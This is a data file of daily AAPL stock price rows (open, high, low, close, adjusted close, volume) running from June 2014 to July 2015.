-2014-06-20,91.8499984741211,92.55000305175781,90.9000015258789,90.91000366210938,82.7574234008789,100898000.0,AAPL -2014-06-23,91.31999969482422,91.62000274658203,90.5999984741211,90.83000183105469,82.68458557128906,43694000.0,AAPL -2014-06-24,90.75,91.73999786376953,90.19000244140625,90.27999877929688,82.18391418457031,39036000.0,AAPL -2014-06-25,90.20999908447266,90.69999694824219,89.6500015258789,90.36000061035156,82.25672912597656,36869000.0,AAPL -2014-06-26,90.37000274658203,91.05000305175781,89.80000305175781,90.9000015258789,82.74829864501953,32629000.0,AAPL -2014-06-27,90.81999969482422,92.0,90.7699966430664,91.9800033569336,83.73146057128906,64029000.0,AAPL -2014-06-30,92.0999984741211,93.7300033569336,92.08999633789062,92.93000030517578,84.59626007080078,49482300.0,AAPL -2014-07-01,93.5199966430664,94.06999969482422,93.12999725341797,93.5199966430664,85.13333892822266,38223000.0,AAPL -2014-07-02,93.87000274658203,94.05999755859375,93.08999633789062,93.4800033569336,85.09693908691406,28465000.0,AAPL -2014-07-03,93.66999816894531,94.0999984741211,93.19999694824219,94.02999877929688,85.59759521484375,22891800.0,AAPL -2014-07-07,94.13999938964844,95.98999786376953,94.0999984741211,95.97000122070312,87.36363983154297,56468000.0,AAPL -2014-07-08,96.2699966430664,96.80000305175781,93.91999816894531,95.3499984741211,86.79923248291016,65222000.0,AAPL -2014-07-09,95.44000244140625,95.94999694824219,94.76000213623047,95.38999938964844,86.83563995361328,36436000.0,AAPL -2014-07-10,93.76000213623047,95.55000305175781,93.5199966430664,95.04000091552734,86.51704406738281,39686000.0,AAPL -2014-07-11,95.36000061035156,95.88999938964844,94.86000061035156,95.22000122070312,86.68089294433594,34018000.0,AAPL -2014-07-14,95.86000061035156,96.88999938964844,95.6500015258789,96.44999694824219,87.80058288574219,42810000.0,AAPL -2014-07-15,96.80000305175781,96.8499984741211,95.02999877929688,95.31999969482422,86.77192687988281,45477900.0,AAPL -2014-07-16,96.97000122070312,97.0999984741211,94.73999786376953,94.77999877929688,86.28035736083984,53396300.0,AAPL -2014-07-17,95.02999877929688,95.27999877929688,92.56999969482422,93.08999633789062,84.74190521240234,57298000.0,AAPL -2014-07-18,93.62000274658203,94.73999786376953,93.0199966430664,94.43000030517578,85.96173858642578,49988000.0,AAPL -2014-07-21,94.98999786376953,95.0,93.72000122070312,93.94000244140625,85.51570129394531,39079000.0,AAPL -2014-07-22,94.68000030517578,94.88999938964844,94.12000274658203,94.72000122070312,86.2257308959961,55197000.0,AAPL -2014-07-23,95.41999816894531,97.87999725341797,95.16999816894531,97.19000244140625,88.4742431640625,92918000.0,AAPL -2014-07-24,97.04000091552734,97.31999969482422,96.41999816894531,97.02999877929688,88.32858276367188,45729000.0,AAPL -2014-07-25,96.8499984741211,97.83999633789062,96.63999938964844,97.66999816894531,88.91117858886719,43469000.0,AAPL -2014-07-28,97.81999969482422,99.23999786376953,97.55000305175781,99.0199966430664,90.14010620117188,55318000.0,AAPL -2014-07-29,99.33000183105469,99.44000244140625,98.25,98.37999725341797,89.55750274658203,43143000.0,AAPL -2014-07-30,98.44000244140625,98.69999694824219,97.66999816894531,98.1500015258789,89.34814453125,33010000.0,AAPL -2014-07-31,97.16000366210938,97.44999694824219,95.33000183105469,95.5999984741211,87.02682495117188,56843000.0,AAPL -2014-08-01,94.9000015258789,96.62000274658203,94.80999755859375,96.12999725341797,87.50927734375,48511000.0,AAPL -2014-08-04,96.37000274658203,96.58000183105469,95.16999816894531,95.58999633789062,87.01771545410156,39958000.0,AAPL -2014-08-05,95.36000061035156,95.68000030517578,94.36000061035156,95.12000274658203,86.5898666381836,55933000.0,AAPL -2014-08-06,94.75,95.4800033569336,94.70999908447266,94.95999908447266,86.4442138671875,38558000.0,AAPL -2014-08-07,94.93000030517578,95.94999694824219,94.0999984741211,94.4800033569336,86.43505096435547,46711000.0,AAPL -2014-08-08,94.26000213623047,94.81999969482422,93.27999877929688,94.73999786376953,86.67291259765625,41865000.0,AAPL -2014-08-11,95.2699966430664,96.08000183105469,94.83999633789062,95.98999786376953,87.81649017333984,36585000.0,AAPL -2014-08-12,96.04000091552734,96.87999725341797,95.61000061035156,95.97000122070312,87.7981948852539,33795000.0,AAPL -2014-08-13,96.1500015258789,97.23999786376953,96.04000091552734,97.23999786376953,88.96004486083984,31916000.0,AAPL -2014-08-14,97.33000183105469,97.56999969482422,96.80000305175781,97.5,89.1978988647461,28116000.0,AAPL -2014-08-15,97.9000015258789,98.19000244140625,96.86000061035156,97.9800033569336,89.63704681396484,48951000.0,AAPL -2014-08-18,98.48999786376953,99.37000274658203,97.9800033569336,99.16000366210938,90.71658325195312,47572000.0,AAPL -2014-08-19,99.41000366210938,100.68000030517578,99.31999969482422,100.52999877929688,91.96990966796875,69399000.0,AAPL -2014-08-20,100.44000244140625,101.08999633789062,99.94999694824219,100.56999969482422,92.00651550292969,52699000.0,AAPL -2014-08-21,100.56999969482422,100.94000244140625,100.11000061035156,100.58000183105469,92.01565551757812,33478000.0,AAPL -2014-08-22,100.29000091552734,101.47000122070312,100.19000244140625,101.31999969482422,92.69264221191406,44184000.0,AAPL -2014-08-25,101.79000091552734,102.16999816894531,101.27999877929688,101.54000091552734,92.8939208984375,40270000.0,AAPL -2014-08-26,101.41999816894531,101.5,100.86000061035156,100.88999938964844,92.29925537109375,33152000.0,AAPL -2014-08-27,101.0199966430664,102.56999969482422,100.69999694824219,102.12999725341797,93.43367004394531,52369000.0,AAPL -2014-08-28,101.58999633789062,102.77999877929688,101.55999755859375,102.25,93.54346466064453,68460000.0,AAPL -2014-08-29,102.86000061035156,102.9000015258789,102.19999694824219,102.5,93.77214050292969,44595000.0,AAPL -2014-09-02,103.05999755859375,103.73999786376953,102.72000122070312,103.30000305175781,94.5040512084961,53564000.0,AAPL -2014-09-03,103.0999984741211,103.19999694824219,98.58000183105469,98.94000244140625,90.51530456542969,125421000.0,AAPL -2014-09-04,98.8499984741211,100.08999633789062,97.79000091552734,98.12000274658203,89.76510620117188,85718000.0,AAPL -2014-09-05,98.80000305175781,99.38999938964844,98.30999755859375,98.97000122070312,90.5427474975586,58457000.0,AAPL -2014-09-08,99.30000305175781,99.30999755859375,98.05000305175781,98.36000061035156,89.98469543457031,46356700.0,AAPL -2014-09-09,99.08000183105469,103.08000183105469,96.13999938964844,97.98999786376953,89.64617919921875,189846300.0,AAPL -2014-09-10,98.01000213623047,101.11000061035156,97.76000213623047,101.0,92.3998794555664,100869600.0,AAPL -2014-09-11,100.41000366210938,101.44000244140625,99.62000274658203,101.43000030517578,92.79326629638672,62353100.0,AAPL -2014-09-12,101.20999908447266,102.19000244140625,101.08000183105469,101.66000366210938,93.00370025634766,62626100.0,AAPL -2014-09-15,102.80999755859375,103.05000305175781,101.44000244140625,101.62999725341797,92.97624206542969,61316500.0,AAPL -2014-09-16,99.80000305175781,101.26000213623047,98.88999938964844,100.86000061035156,92.27180480957031,66908100.0,AAPL -2014-09-17,101.2699966430664,101.80000305175781,100.58999633789062,101.58000183105469,92.93048858642578,60926500.0,AAPL -2014-09-18,101.93000030517578,102.3499984741211,101.55999755859375,101.79000091552734,93.12261962890625,37299400.0,AAPL -2014-09-19,102.29000091552734,102.3499984741211,100.5,100.95999908447266,92.36329650878906,70902400.0,AAPL -2014-09-22,101.80000305175781,102.13999938964844,100.58000183105469,101.05999755859375,92.45475769042969,52788400.0,AAPL -2014-09-23,100.5999984741211,102.94000244140625,100.54000091552734,102.63999938964844,93.90025329589844,63402200.0,AAPL -2014-09-24,102.16000366210938,102.8499984741211,101.19999694824219,101.75,93.08602905273438,60171800.0,AAPL -2014-09-25,100.51000213623047,100.70999908447266,97.72000122070312,97.87000274658203,89.53641510009766,100092000.0,AAPL -2014-09-26,98.52999877929688,100.75,98.4000015258789,100.75,92.17118835449219,62370500.0,AAPL -2014-09-29,98.6500015258789,100.44000244140625,98.62999725341797,100.11000061035156,91.58566284179688,49766300.0,AAPL -2014-09-30,100.80999755859375,101.54000091552734,100.52999877929688,100.75,92.17118835449219,55264100.0,AAPL -2014-10-01,100.58999633789062,100.69000244140625,98.69999694824219,99.18000030517578,90.73487091064453,51491300.0,AAPL -2014-10-02,99.2699966430664,100.22000122070312,98.04000091552734,99.9000015258789,91.3935546875,47757800.0,AAPL -2014-10-03,99.44000244140625,100.20999908447266,99.04000091552734,99.62000274658203,91.13739013671875,43469600.0,AAPL -2014-10-06,99.94999694824219,100.6500015258789,99.41999816894531,99.62000274658203,91.13739013671875,37051200.0,AAPL -2014-10-07,99.43000030517578,100.12000274658203,98.7300033569336,98.75,90.34147644042969,42094200.0,AAPL -2014-10-08,98.76000213623047,101.11000061035156,98.30999755859375,100.80000305175781,92.2169189453125,57404700.0,AAPL -2014-10-09,101.54000091552734,102.37999725341797,100.61000061035156,101.0199966430664,92.41816711425781,77376500.0,AAPL -2014-10-10,100.69000244140625,102.02999877929688,100.30000305175781,100.7300033569336,92.15287017822266,66331600.0,AAPL -2014-10-13,101.33000183105469,101.77999877929688,99.80999755859375,99.80999755859375,91.31121826171875,53583400.0,AAPL -2014-10-14,100.38999938964844,100.5199966430664,98.56999969482422,98.75,90.34147644042969,63688600.0,AAPL -2014-10-15,97.97000122070312,99.1500015258789,95.18000030517578,97.54000091552734,89.2344970703125,100933600.0,AAPL -2014-10-16,95.55000305175781,97.72000122070312,95.41000366210938,96.26000213623047,88.06349182128906,72154500.0,AAPL -2014-10-17,97.5,99.0,96.80999755859375,97.66999816894531,89.35343933105469,68179700.0,AAPL -2014-10-20,98.31999969482422,99.95999908447266,98.22000122070312,99.76000213623047,91.26547241210938,77517300.0,AAPL -2014-10-21,103.0199966430664,103.0199966430664,101.2699966430664,102.47000122070312,93.74470520019531,94623900.0,AAPL -2014-10-22,102.83999633789062,104.11000061035156,102.5999984741211,102.98999786376953,94.22042846679688,68263100.0,AAPL -2014-10-23,104.08000183105469,105.05000305175781,103.62999725341797,104.83000183105469,95.90376281738281,71074700.0,AAPL -2014-10-24,105.18000030517578,105.48999786376953,104.52999877929688,105.22000122070312,96.26055145263672,47053900.0,AAPL -2014-10-27,104.8499984741211,105.4800033569336,104.69999694824219,105.11000061035156,96.15990447998047,34187700.0,AAPL -2014-10-28,105.4000015258789,106.73999786376953,105.3499984741211,106.73999786376953,97.65110778808594,48060900.0,AAPL -2014-10-29,106.6500015258789,107.37000274658203,106.36000061035156,107.33999633789062,98.20003509521484,52687900.0,AAPL -2014-10-30,106.95999908447266,107.3499984741211,105.9000015258789,106.9800033569336,97.87068939208984,40654800.0,AAPL -2014-10-31,108.01000213623047,108.04000091552734,107.20999908447266,108.0,98.8038330078125,44639300.0,AAPL -2014-11-03,108.22000122070312,110.30000305175781,108.01000213623047,109.4000015258789,100.08462524414062,52282600.0,AAPL -2014-11-04,109.36000061035156,109.48999786376953,107.72000122070312,108.5999984741211,99.3527603149414,41574400.0,AAPL -2014-11-05,109.0999984741211,109.30000305175781,108.12999725341797,108.86000061035156,99.59062957763672,37435900.0,AAPL -2014-11-06,108.5999984741211,108.79000091552734,107.80000305175781,108.69999694824219,99.87542724609375,34968500.0,AAPL -2014-11-07,108.75,109.31999969482422,108.55000305175781,109.01000213623047,100.16029357910156,33691500.0,AAPL -2014-11-10,109.0199966430664,109.33000183105469,108.66999816894531,108.83000183105469,99.99488830566406,27195500.0,AAPL -2014-11-11,108.69999694824219,109.75,108.4000015258789,109.69999694824219,100.79425048828125,27442300.0,AAPL -2014-11-12,109.37999725341797,111.43000030517578,109.37000274658203,111.25,102.21842956542969,46942400.0,AAPL -2014-11-13,111.80000305175781,113.44999694824219,111.5999984741211,112.81999969482422,103.66095733642578,59522900.0,AAPL -2014-11-14,113.1500015258789,114.19000244140625,111.20999908447266,114.18000030517578,104.91056060791016,44063600.0,AAPL -2014-11-17,114.2699966430664,117.27999877929688,113.30000305175781,113.98999786376953,104.73599243164062,46746700.0,AAPL -2014-11-18,113.94000244140625,115.69000244140625,113.88999938964844,115.47000122070312,106.09584045410156,44224000.0,AAPL -2014-11-19,115.44000244140625,115.73999786376953,113.80000305175781,114.66999816894531,105.36078643798828,41869200.0,AAPL -2014-11-20,114.91000366210938,116.86000061035156,114.8499984741211,116.30999755859375,106.86763000488281,43395500.0,AAPL -2014-11-21,117.51000213623047,117.56999969482422,116.02999877929688,116.47000122070312,107.01466369628906,57179300.0,AAPL -2014-11-24,116.8499984741211,118.7699966430664,116.62000274658203,118.62999725341797,108.99929809570312,47450800.0,AAPL -2014-11-25,119.06999969482422,119.75,117.44999694824219,117.5999984741211,108.05290985107422,68840400.0,AAPL -2014-11-26,117.94000244140625,119.0999984741211,117.83000183105469,119.0,109.33924865722656,40768300.0,AAPL -2014-11-28,119.2699966430664,119.4000015258789,118.05000305175781,118.93000030517578,109.27494812011719,24814400.0,AAPL -2014-12-01,118.80999755859375,119.25,111.2699966430664,115.06999969482422,105.72831726074219,83814000.0,AAPL -2014-12-02,113.5,115.75,112.75,114.62999725341797,105.32402038574219,59348900.0,AAPL -2014-12-03,115.75,116.3499984741211,115.11000061035156,115.93000030517578,106.51849365234375,43063400.0,AAPL -2014-12-04,115.7699966430664,117.19999694824219,115.29000091552734,115.48999786376953,106.11420440673828,42044500.0,AAPL -2014-12-05,115.98999786376953,116.08000183105469,114.63999938964844,115.0,105.66398620605469,38318900.0,AAPL -2014-12-08,114.0999984741211,114.6500015258789,111.62000274658203,112.4000015258789,103.27506256103516,57664900.0,AAPL -2014-12-09,110.19000244140625,114.30000305175781,109.3499984741211,114.12000274658203,104.85543060302734,60208000.0,AAPL -2014-12-10,114.41000366210938,114.8499984741211,111.54000091552734,111.94999694824219,102.86161041259766,44565300.0,AAPL -2014-12-11,112.26000213623047,113.80000305175781,111.33999633789062,111.62000274658203,102.55839538574219,41401700.0,AAPL -2014-12-12,110.45999908447266,111.87000274658203,109.58000183105469,109.7300033569336,100.82183074951172,56028100.0,AAPL -2014-12-15,110.69999694824219,111.5999984741211,106.3499984741211,108.2300033569336,99.44361877441406,67218100.0,AAPL -2014-12-16,106.37000274658203,110.16000366210938,106.26000213623047,106.75,98.083740234375,60790700.0,AAPL -2014-12-17,107.12000274658203,109.83999633789062,106.81999969482422,109.41000366210938,100.5278091430664,53411800.0,AAPL -2014-12-18,111.87000274658203,112.6500015258789,110.66000366210938,112.6500015258789,103.5047607421875,59006200.0,AAPL -2014-12-19,112.26000213623047,113.23999786376953,111.66000366210938,111.77999877929688,102.70539093017578,88429800.0,AAPL -2014-12-22,112.16000366210938,113.48999786376953,111.97000122070312,112.94000244140625,103.77122497558594,45167500.0,AAPL -2014-12-23,113.2300033569336,113.33000183105469,112.45999908447266,112.54000091552734,103.4037094116211,26028400.0,AAPL -2014-12-24,112.58000183105469,112.70999908447266,112.01000213623047,112.01000213623047,102.9167251586914,14479600.0,AAPL -2014-12-26,112.0999984741211,114.5199966430664,112.01000213623047,113.98999786376953,104.73599243164062,33721000.0,AAPL -2014-12-29,113.79000091552734,114.7699966430664,113.69999694824219,113.91000366210938,104.66250610351562,27598900.0,AAPL -2014-12-30,113.63999938964844,113.91999816894531,112.11000061035156,112.5199966430664,103.38531494140625,29881500.0,AAPL -2014-12-31,112.81999969482422,113.12999725341797,110.20999908447266,110.37999725341797,101.41905975341797,41403400.0,AAPL -2015-01-02,111.38999938964844,111.44000244140625,107.3499984741211,109.33000183105469,100.45429992675781,53204600.0,AAPL -2015-01-05,108.29000091552734,108.6500015258789,105.41000366210938,106.25,97.62433624267578,64285500.0,AAPL -2015-01-06,106.54000091552734,107.43000030517578,104.62999725341797,106.26000213623047,97.633544921875,65797100.0,AAPL -2015-01-07,107.19999694824219,108.19999694824219,106.69999694824219,107.75,99.00255584716797,40105900.0,AAPL -2015-01-08,109.2300033569336,112.1500015258789,108.69999694824219,111.88999938964844,102.80648040771484,59364500.0,AAPL -2015-01-09,112.66999816894531,113.25,110.20999908447266,112.01000213623047,102.9167251586914,53699500.0,AAPL -2015-01-12,112.5999984741211,112.62999725341797,108.80000305175781,109.25,100.38079071044922,49650800.0,AAPL -2015-01-13,111.43000030517578,112.80000305175781,108.91000366210938,110.22000122070312,101.27204895019531,67091900.0,AAPL -2015-01-14,109.04000091552734,110.48999786376953,108.5,109.80000305175781,100.88615417480469,48956600.0,AAPL -2015-01-15,110.0,110.05999755859375,106.66000366210938,106.81999969482422,98.14805603027344,60014000.0,AAPL -2015-01-16,107.02999877929688,107.58000183105469,105.19999694824219,105.98999786376953,97.38544464111328,78513300.0,AAPL -2015-01-20,107.83999633789062,108.97000122070312,106.5,108.72000122070312,99.8938217163086,49899900.0,AAPL -2015-01-21,108.94999694824219,111.05999755859375,108.2699966430664,109.55000305175781,100.65644073486328,48575900.0,AAPL -2015-01-22,110.26000213623047,112.47000122070312,109.72000122070312,112.4000015258789,103.27506256103516,53796400.0,AAPL -2015-01-23,112.30000305175781,113.75,111.52999877929688,112.9800033569336,103.80799102783203,46464800.0,AAPL -2015-01-26,113.73999786376953,114.36000061035156,112.80000305175781,113.0999984741211,103.91822814941406,55615000.0,AAPL -2015-01-27,112.41999816894531,112.4800033569336,109.02999877929688,109.13999938964844,100.27971649169922,95568700.0,AAPL -2015-01-28,117.62999725341797,118.12000274658203,115.30999755859375,115.30999755859375,105.94882202148438,146477100.0,AAPL -2015-01-29,116.31999969482422,119.19000244140625,115.55999755859375,118.9000015258789,109.24739074707031,84436400.0,AAPL -2015-01-30,118.4000015258789,120.0,116.8499984741211,117.16000366210938,107.64864349365234,83745500.0,AAPL -2015-02-02,118.05000305175781,119.16999816894531,116.08000183105469,118.62999725341797,108.99929809570312,62739100.0,AAPL -2015-02-03,118.5,119.08999633789062,117.61000061035156,118.6500015258789,109.01765441894531,51915700.0,AAPL -2015-02-04,118.5,120.51000213623047,118.30999755859375,119.55999755859375,109.85380554199219,70149700.0,AAPL -2015-02-05,120.0199966430664,120.2300033569336,119.25,119.94000244140625,110.63788604736328,42246200.0,AAPL -2015-02-06,120.0199966430664,120.25,118.44999694824219,118.93000030517578,109.7061996459961,43706600.0,AAPL -2015-02-09,118.55000305175781,119.83999633789062,118.43000030517578,119.72000122070312,110.43494415283203,38889800.0,AAPL -2015-02-10,120.16999816894531,122.1500015258789,120.16000366210938,122.0199966430664,112.55655670166016,62008500.0,AAPL -2015-02-11,122.7699966430664,124.91999816894531,122.5,124.87999725341797,115.19474792480469,73561800.0,AAPL -2015-02-12,126.05999755859375,127.4800033569336,125.56999969482422,126.45999908447266,116.6521987915039,74474500.0,AAPL -2015-02-13,127.27999877929688,127.27999877929688,125.6500015258789,127.08000183105469,117.22412109375,54272200.0,AAPL -2015-02-17,127.48999786376953,128.8800048828125,126.91999816894531,127.83000183105469,117.91596221923828,63152400.0,AAPL -2015-02-18,127.62999725341797,128.77999877929688,127.44999694824219,128.72000122070312,118.73694610595703,44891700.0,AAPL -2015-02-19,128.47999572753906,129.02999877929688,128.3300018310547,128.4499969482422,118.48786926269531,37362400.0,AAPL -2015-02-20,128.6199951171875,129.5,128.0500030517578,129.5,119.4564437866211,48948400.0,AAPL -2015-02-23,130.02000427246094,133.0,129.66000366210938,133.0,122.68497467041016,70974100.0,AAPL -2015-02-24,132.94000244140625,133.60000610351562,131.1699981689453,132.1699981689453,121.91935729980469,69228100.0,AAPL -2015-02-25,131.55999755859375,131.60000610351562,128.14999389648438,128.7899932861328,118.8014907836914,74711700.0,AAPL -2015-02-26,128.7899932861328,130.8699951171875,126.61000061035156,130.4199981689453,120.30508422851562,91287500.0,AAPL -2015-02-27,130.0,130.57000732421875,128.24000549316406,128.4600067138672,118.49711608886719,62014800.0,AAPL -2015-03-02,129.25,130.27999877929688,128.3000030517578,129.08999633789062,119.07823944091797,48096700.0,AAPL -2015-03-03,128.9600067138672,129.52000427246094,128.08999633789062,129.36000061035156,119.3272933959961,37816300.0,AAPL -2015-03-04,129.10000610351562,129.55999755859375,128.32000732421875,128.5399932861328,118.57088470458984,31666300.0,AAPL -2015-03-05,128.5800018310547,128.75,125.76000213623047,126.41000366210938,116.60609436035156,56517100.0,AAPL -2015-03-06,128.39999389648438,129.3699951171875,126.26000213623047,126.5999984741211,116.7813491821289,72842100.0,AAPL -2015-03-09,127.95999908447266,129.57000732421875,125.05999755859375,127.13999938964844,117.27945709228516,88528500.0,AAPL -2015-03-10,126.41000366210938,127.22000122070312,123.80000305175781,124.51000213623047,114.85343170166016,68856600.0,AAPL -2015-03-11,124.75,124.7699966430664,122.11000061035156,122.23999786376953,112.75951385498047,68939000.0,AAPL -2015-03-12,122.30999755859375,124.9000015258789,121.62999725341797,124.44999694824219,114.79810333251953,48362700.0,AAPL -2015-03-13,124.4000015258789,125.4000015258789,122.58000183105469,123.58999633789062,114.00479125976562,51827300.0,AAPL -2015-03-16,123.87999725341797,124.94999694824219,122.87000274658203,124.94999694824219,115.25931549072266,35874300.0,AAPL -2015-03-17,125.9000015258789,127.31999969482422,125.6500015258789,127.04000091552734,117.1872329711914,51023100.0,AAPL -2015-03-18,127.0,129.16000366210938,126.37000274658203,128.47000122070312,118.50630950927734,65270900.0,AAPL -2015-03-19,128.75,129.25,127.4000015258789,127.5,117.61156463623047,45809500.0,AAPL -2015-03-20,128.25,128.39999389648438,125.16000366210938,125.9000015258789,116.13565063476562,68695100.0,AAPL -2015-03-23,127.12000274658203,127.8499984741211,126.5199966430664,127.20999908447266,117.34403228759766,37709700.0,AAPL -2015-03-24,127.2300033569336,128.0399932861328,126.55999755859375,126.69000244140625,116.86436462402344,32842300.0,AAPL -2015-03-25,126.54000091552734,126.81999969482422,123.37999725341797,123.37999725341797,113.81109619140625,51655200.0,AAPL -2015-03-26,122.76000213623047,124.87999725341797,122.5999984741211,124.23999786376953,114.6043930053711,47572900.0,AAPL -2015-03-27,124.56999969482422,124.69999694824219,122.91000366210938,123.25,113.69116973876953,39546200.0,AAPL -2015-03-30,124.05000305175781,126.4000015258789,124.0,126.37000274658203,116.56920623779297,47099700.0,AAPL -2015-03-31,126.08999633789062,126.48999786376953,124.36000061035156,124.43000030517578,114.77964782714844,42090600.0,AAPL -2015-04-01,124.81999969482422,125.12000274658203,123.0999984741211,124.25,114.61360168457031,40621400.0,AAPL -2015-04-02,125.02999877929688,125.55999755859375,124.19000244140625,125.31999969482422,115.60061645507812,32220100.0,AAPL -2015-04-06,124.47000122070312,127.51000213623047,124.33000183105469,127.3499984741211,117.47319030761719,37194000.0,AAPL -2015-04-07,127.63999938964844,128.1199951171875,125.9800033569336,126.01000213623047,116.23712158203125,35012300.0,AAPL -2015-04-08,125.8499984741211,126.4000015258789,124.97000122070312,125.5999984741211,115.8589096069336,37329200.0,AAPL -2015-04-09,125.8499984741211,126.58000183105469,124.66000366210938,126.55999755859375,116.74444580078125,32484000.0,AAPL -2015-04-10,125.94999694824219,127.20999908447266,125.26000213623047,127.0999984741211,117.24259185791016,40188000.0,AAPL -2015-04-13,128.3699951171875,128.57000732421875,126.61000061035156,126.8499984741211,117.01194763183594,36365100.0,AAPL -2015-04-14,127.0,127.29000091552734,125.91000366210938,126.30000305175781,116.50462341308594,25524600.0,AAPL -2015-04-15,126.41000366210938,127.12999725341797,126.01000213623047,126.77999877929688,116.94738006591797,28970400.0,AAPL -2015-04-16,126.27999877929688,127.0999984741211,126.11000061035156,126.16999816894531,116.38470458984375,28369000.0,AAPL -2015-04-17,125.55000305175781,126.13999938964844,124.45999908447266,124.75,115.07482147216797,51957000.0,AAPL -2015-04-20,125.56999969482422,128.1199951171875,125.16999816894531,127.5999984741211,117.70379638671875,47054300.0,AAPL -2015-04-21,128.10000610351562,128.1999969482422,126.66999816894531,126.91000366210938,117.06732177734375,32435100.0,AAPL -2015-04-22,126.98999786376953,128.8699951171875,126.31999969482422,128.6199951171875,118.64470672607422,37654500.0,AAPL -2015-04-23,128.3000030517578,130.4199981689453,128.13999938964844,129.6699981689453,119.61326599121094,45770900.0,AAPL -2015-04-24,130.49000549316406,130.6300048828125,129.22999572753906,130.27999877929688,120.17594909667969,44525900.0,AAPL -2015-04-27,132.30999755859375,133.1300048828125,131.14999389648438,132.64999389648438,122.36209106445312,96954200.0,AAPL -2015-04-28,134.4600067138672,134.5399932861328,129.57000732421875,130.55999755859375,120.43423461914062,118924000.0,AAPL -2015-04-29,130.16000366210938,131.58999633789062,128.3000030517578,128.63999938964844,118.66314697265625,63386100.0,AAPL -2015-04-30,128.63999938964844,128.63999938964844,124.58000183105469,125.1500015258789,115.44380950927734,83195400.0,AAPL -2015-05-01,126.0999984741211,130.1300048828125,125.30000305175781,128.9499969482422,118.94908905029297,58512600.0,AAPL -2015-05-04,129.5,130.57000732421875,128.25999450683594,128.6999969482422,118.71849060058594,50988300.0,AAPL -2015-05-05,128.14999389648438,128.4499969482422,125.77999877929688,125.80000305175781,116.04339599609375,49271400.0,AAPL -2015-05-06,126.55999755859375,126.75,123.36000061035156,125.01000213623047,115.3146743774414,72141000.0,AAPL -2015-05-07,124.7699966430664,126.08000183105469,124.0199966430664,125.26000213623047,116.02790832519531,43940900.0,AAPL -2015-05-08,126.68000030517578,127.62000274658203,126.11000061035156,127.62000274658203,118.21397399902344,55550400.0,AAPL -2015-05-11,127.38999938964844,127.55999755859375,125.62999725341797,126.31999969482422,117.0097885131836,42035800.0,AAPL -2015-05-12,125.5999984741211,126.87999725341797,124.81999969482422,125.87000274658203,116.59295654296875,48160000.0,AAPL -2015-05-13,126.1500015258789,127.19000244140625,125.87000274658203,126.01000213623047,116.72265625,34694200.0,AAPL -2015-05-14,127.41000366210938,128.9499969482422,127.16000366210938,128.9499969482422,119.4459457397461,45203500.0,AAPL -2015-05-15,129.07000732421875,129.49000549316406,128.2100067138672,128.77000427246094,119.27921295166016,38208000.0,AAPL -2015-05-18,128.3800048828125,130.72000122070312,128.36000061035156,130.19000244140625,120.59455108642578,50882900.0,AAPL -2015-05-19,130.69000244140625,130.8800048828125,129.63999938964844,130.07000732421875,120.4833984375,44633200.0,AAPL -2015-05-20,130.0,130.97999572753906,129.33999633789062,130.05999755859375,120.4741439819336,36454900.0,AAPL -2015-05-21,130.07000732421875,131.6300048828125,129.8300018310547,131.38999938964844,121.70613861083984,39730400.0,AAPL -2015-05-22,131.60000610351562,132.97000122070312,131.39999389648438,132.5399932861328,122.77136993408203,45596000.0,AAPL -2015-05-26,132.60000610351562,132.91000366210938,129.1199951171875,129.6199951171875,120.0665512084961,70697600.0,AAPL -2015-05-27,130.33999633789062,132.25999450683594,130.0500030517578,132.0399932861328,122.3082046508789,45833200.0,AAPL -2015-05-28,131.86000061035156,131.9499969482422,131.10000610351562,131.77999877929688,122.06737518310547,30733300.0,AAPL -2015-05-29,131.22999572753906,131.4499969482422,129.89999389648438,130.27999877929688,120.67793273925781,50884500.0,AAPL -2015-06-01,130.27999877929688,131.38999938964844,130.0500030517578,130.5399932861328,120.91876220703125,32112800.0,AAPL -2015-06-02,129.86000061035156,130.66000366210938,129.32000732421875,129.9600067138672,120.38152313232422,33667600.0,AAPL -2015-06-03,130.66000366210938,130.94000244140625,129.89999389648438,130.1199951171875,120.52971649169922,30983500.0,AAPL -2015-06-04,129.5800018310547,130.5800018310547,128.91000366210938,129.36000061035156,119.82573699951172,38450100.0,AAPL -2015-06-05,129.5,129.69000244140625,128.36000061035156,128.64999389648438,119.16805267333984,35626800.0,AAPL -2015-06-08,128.89999389648438,129.2100067138672,126.83000183105469,127.80000305175781,118.3807144165039,52674800.0,AAPL -2015-06-09,126.69999694824219,128.0800018310547,125.62000274658203,127.41999816894531,118.02871704101562,56075400.0,AAPL -2015-06-10,127.91999816894531,129.33999633789062,127.8499984741211,128.8800048828125,119.38111114501953,39087300.0,AAPL -2015-06-11,129.17999267578125,130.17999267578125,128.47999572753906,128.58999633789062,119.11248779296875,35390900.0,AAPL -2015-06-12,128.19000244140625,128.3300018310547,127.11000061035156,127.16999816894531,117.79714965820312,36886200.0,AAPL -2015-06-15,126.0999984741211,127.23999786376953,125.70999908447266,126.91999816894531,117.5655746459961,43988900.0,AAPL -2015-06-16,127.02999877929688,127.8499984741211,126.37000274658203,127.5999984741211,118.1954574584961,31494100.0,AAPL -2015-06-17,127.72000122070312,127.87999725341797,126.73999786376953,127.30000305175781,117.91755676269531,32918100.0,AAPL -2015-06-18,127.2300033569336,128.30999755859375,127.22000122070312,127.87999725341797,118.45480346679688,35407200.0,AAPL -2015-06-19,127.70999908447266,127.81999969482422,126.4000015258789,126.5999984741211,117.26915740966797,54716900.0,AAPL -2015-06-22,127.48999786376953,128.05999755859375,127.08000183105469,127.61000061035156,118.2047119140625,34039300.0,AAPL -2015-06-23,127.4800033569336,127.61000061035156,126.87999725341797,127.02999877929688,117.66746520996094,30268900.0,AAPL -2015-06-24,127.20999908447266,129.8000030517578,127.12000274658203,128.11000061035156,118.6678695678711,55280900.0,AAPL -2015-06-25,128.86000061035156,129.1999969482422,127.5,127.5,118.10283660888672,31938100.0,AAPL -2015-06-26,127.66999816894531,127.98999786376953,126.51000213623047,126.75,117.4081039428711,44066800.0,AAPL -2015-06-29,125.45999908447266,126.47000122070312,124.4800033569336,124.52999877929688,115.3517074584961,49161400.0,AAPL -2015-06-30,125.56999969482422,126.12000274658203,124.86000061035156,125.43000030517578,116.18538665771484,44370700.0,AAPL -2015-07-01,126.9000015258789,126.94000244140625,125.98999786376953,126.5999984741211,117.26915740966797,30238800.0,AAPL -2015-07-02,126.43000030517578,126.69000244140625,125.7699966430664,126.44000244140625,117.12094116210938,27211000.0,AAPL -2015-07-06,124.94000244140625,126.2300033569336,124.8499984741211,126.0,116.71336364746094,28060400.0,AAPL -2015-07-07,125.88999938964844,126.1500015258789,123.7699966430664,125.69000244140625,116.42621612548828,46946800.0,AAPL 